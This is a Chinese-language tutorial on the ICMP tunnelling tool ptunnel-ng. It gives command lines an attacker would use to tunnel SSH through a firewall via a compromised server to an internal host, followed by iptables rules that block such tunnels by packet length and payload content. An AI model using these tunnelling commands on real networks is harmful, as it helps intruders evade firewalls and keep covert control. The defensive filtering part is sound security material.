ptunnel-ng工具是一款的ICMP tunnel工具,它基于经典的ptunnel工具开发,在原来ptunnel的基础上修复了一些bug并添加了一些特性。ptunnel及ptunnel-ng在Kali系统上均可通过apt源进行安装,ptunnel-ng项目网址为https://github.com/lnslbrty/ptunnel-ng。 什么是ICMP tunnel?ICMP tunnel是把其它流量封装在ICMP流量中的技术,在访问限制比较严的网络环境中,黑客可能会通过这种技术把控制流量隐藏在ICMP的ping包中,以此来绕过防火墙策略的限制。 ptunnel-ng用法我们这里假设黑客的IP为202.198.67.67,他已经控制了目标网络一台内外网IP分别为192.168.30.23/202.198.67.254的内网服务器Server1,因为防火墙的限制,Server1不能访问外网,但在外网Hacker可以ping通过Server1的外网IP 202.198.67.254,现在黑客的需求是使用ptunnel-ng经过Server1中转控制Server2: Hacker:202.198.67.67-->Server1:202.198.67.254/192.168.30.22-->Server2:192.168.30.23
要使用ptunne-ng创建ICMP tunnel,黑客需要分别在本机及Server1上执行以下命令: Hacker:ptunnel-ng -p202.198.67.254 -l2222 -r192.168.30.23 -R22,把目标网络的192.168.30.23:22转发到本地的2222端口: Server1:ptunnel-ng ,在Server1上监听ICMP流量: 完成以上两步后,Hacker便可以在本地访问2222端口,ICMP tunnel会自动把2222端口流量转发到Server2的22端口: 以上是Hacker能ping通Server1时的方案,如果Hacker不能ping通Server1,而Server1又能ping通Hacker时,可以把方向调换一下,即由Server1向Hacker发起建立ICMP tunnel的请求。先把Hacker的22端口转到Server1本地,再通过SSH的远程端口转发功能把Server2的22端口转发到Hacker上: Hacker: ptunnel-ng ssh 127.0.0.1 -p 2222 Server1: ptunnel-ng -p202.198.67.67 -l2222 -r202.198.67.67 -R22 ssh -R 2222:192.168.30.23:22 127.0.0.1 -p 2222
如何防范ICMP tunnelICMP tunnel的流量特征明显,它把非法流量隐藏在echo-request及echo-reply数据包的payload中,使数据包的内容及长度都发生改变。不同操作系统默认的paylod长度及内容都不一样,但是都是固定的,比如Windows操作系统的ping包默认pyaload长度为32,内容为“abcdefghijklmnopqrstuvwabcdefghi”,Linux系统payload默认长度为48,固定的Hex格式内容为“|0000000000101112131415161718191a1b1c1d1e1f202122232425262728292a2b2c2d2e2f3031323334353637|”。 所以,要禁止ICMP tunnel流量,首先我们可以通过限制echo-request及echo-reply包的长度,这里把只允许长度为84(Linux)或长60(Windows)的echo-request或echo-reply进出防火墙: iptables -A INPUT -p icmp -m icmp --icmp-type 0 -m length --length 84 -j ACCEPT iptables -A INPUT -p icmp -m icmp --icmp-type 0 -m length --length 60 -j ACCEPT iptables -A INPUT -p icmp -m icmp --icmp-type 8 -m length --length 84 -j ACCEPT iptables -A INPUT -p icmp -m icmp --icmp-type 8 -m length --length 60 -j ACCEPT iptables -A INPUT -p icmp -m icmp --icmp-type 8 -j DROP iptables -A INPUT -p icmp -m icmp --icmp-type 0 -j DROP iptables -A OUTPUT -p icmp -m icmp --icmp-type 0 -m length --length 84 -j ACCEPT iptables -A OUTPUT -p icmp -m icmp --icmp-type 0 -m length --length 60 -j ACCEPT iptables -A OUTPUT -p icmp -m icmp --icmp-type 8 -m length --length 84 -j ACCEPT iptables -A OUTPUT -p icmp -m icmp --icmp-type 8 -m length --length 60 -j ACCEPT iptables -A OUTPUT -p icmp -m icmp --icmp-type 8 -j DROP iptables -A OUTPUT -p icmp -m icmp --icmp-type 0 -j DROP
更严格一点,我们还可以通过string模块限制数据包的内容: -A INPUT -p icmp -m icmp --icmp-type 0 -m length --length 84 -m string --hex-string "|0000000000101112131415161718191a1b1c1d1e1f202122232425262728292a2b2c2d2e2f3031323334353637|" --algo bm --to 65535 -j ACCEPT -A INPUT -p icmp -m icmp --icmp-type 0 -m length --length 60 -m string --string "abcdefghijklmnopqrstuvwabcdefghi" --algo bm --to 65535 -j ACCEPT -A INPUT -p icmp -m icmp --icmp-type 8 -m length --length 84 -m string --hex-string "|0000000000101112131415161718191a1b1c1d1e1f202122232425262728292a2b2c2d2e2f3031323334353637|" --algo bm --to 65535 -j ACCEPT -A INPUT -p icmp -m icmp --icmp-type 8 -m length --length 60 -m string --string "abcdefghijklmnopqrstuvwabcdefghi" --algo bm --to 65535 -j ACCEPT -A INPUT -p icmp -m icmp --icmp-type 8 -j DROP -A INPUT -p icmp -m icmp --icmp-type 0 -j DROP -A OUTPUT -p icmp -m icmp --icmp-type 0 -m length --length 84 -m string --hex-string "|0000000000101112131415161718191a1b1c1d1e1f202122232425262728292a2b2c2d2e2f3031323334353637|" --algo bm --to 65535 -j ACCEPT -A OUTPUT -p icmp -m icmp --icmp-type 0 -m length --length 60 -m string --string "abcdefghijklmnopqrstuvwabcdefghi" --algo bm --to 65535 -j ACCEPT -A OUTPUT -p icmp -m icmp --icmp-type 8 -m length --length 84 -m string --hex-string "|0000000000101112131415161718191a1b1c1d1e1f202122232425262728292a2b2c2d2e2f3031323334353637|" --algo bm --to 65535 -j ACCEPT -A OUTPUT -p icmp -m icmp --icmp-type 8 -m length --length 60 -m string --string "abcdefghijklmnopqrstuvwabcdefghi" --algo bm --to 65535 -j ACCEPT -A OUTPUT -p icmp -m icmp --icmp-type 8 -j DROP -A OUTPUT -p icmp -m icmp --icmp-type 0 -j DROP
以上就是使用iptables防范ICMP tunnel流量的方法,生产环境中的硬件防火墙不一定支持基于ICMP数据包的长度及内容进行过滤,就算支持实现方式跟iptables肯定不一样,但思路无非是根据ICMP数据包的长度及内容来判定其是否合法,并对非法的数据包进行限制。
" |